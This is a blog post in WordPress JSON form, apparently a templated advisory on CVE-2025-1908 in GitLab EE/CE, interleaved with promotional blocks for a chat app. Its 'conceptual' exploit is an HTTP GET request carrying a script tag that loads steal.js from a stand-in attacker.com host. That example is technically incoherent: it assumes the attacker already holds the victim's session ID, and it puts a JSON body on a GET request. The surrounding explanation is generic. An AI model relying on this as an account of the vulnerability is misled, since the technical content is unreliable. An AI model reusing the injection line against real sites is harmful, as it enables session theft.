{"id":85857,"date":"2025-11-16T15:28:08","date_gmt":"2025-11-16T15:28:08","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-1908-gitlab-ee-ce-vulnerability-leading-to-potential-user-tracking-and-account-take-over","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-1908-gitlab-ee-ce-vulnerability-leading-to-potential-user-tracking-and-account-take-over\/","title":{"rendered":"<strong>CVE-2025-1908: GitLab EE\/CE Vulnerability Leading to Potential User Tracking and Account Take-over<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity world has recently been rattled by the discovery of a new vulnerability, CVE-2025-1908, affecting GitLab EE\/CE. This vulnerability has the potential to allow an attacker to monitor user browsing activity, and in extreme cases, take over their accounts. Given the extensive use of GitLab EE\/CE across a broad range of industries, this vulnerability poses a substantial threat to data security and user privacy.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-1908<br \/>\nSeverity: High (CVSS score 7.7)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: Potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3206386142\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>GitLab EE | 16.6 &#8211; 17.9.6, 17.10 &#8211; 17.10.4, 17.11 &#8211; 17.11.0<br \/>\nGitLab CE | 16.6 &#8211; 17.9.6, 17.10 &#8211; 17.10.4, 17.11 &#8211; 17.11.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability exploits a flaw in the GitLab EE\/CE codebase, which allows for session hijacking and user tracking. Once the attacker has this capability, they can monitor browsing activities to gather sensitive information, setting up for potential account take-over. This exploit relies on a network-based attack vector and requires user interaction to be successful.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-414158399\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/victim\/profile HTTP\/1.1\nHost: gitlab-vulnerable.example.com\nCookie: session_id=victim_session_id\n{ &quot;malicious_script&quot;: &quot;&lt;script src=&#039;http:\/\/attacker.com\/steal.js&#039;&gt;&lt;\/script&gt;&quot; }<\/code><\/pre>\n<p>In this example, the attacker sends a specially crafted HTTP GET request to the GitLab server using the victim&#8217;s session ID. The malicious script embedded in the request is then executed, allowing the attacker to monitor the victim&#8217;s browsing activity or even take over their account.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity world has recently been rattled by the discovery of a new vulnerability, CVE-2025-1908, affecting GitLab EE\/CE. This vulnerability has the potential to allow an attacker to monitor user browsing activity, and in extreme cases, take over their accounts. Given the extensive use of GitLab EE\/CE across a broad range of industries, this [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-85857","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/85857","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=85857"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/85857\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=85857"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=85857"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=85857"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=85857"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=85857"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=85857"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=85857"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=85857"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=85857"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}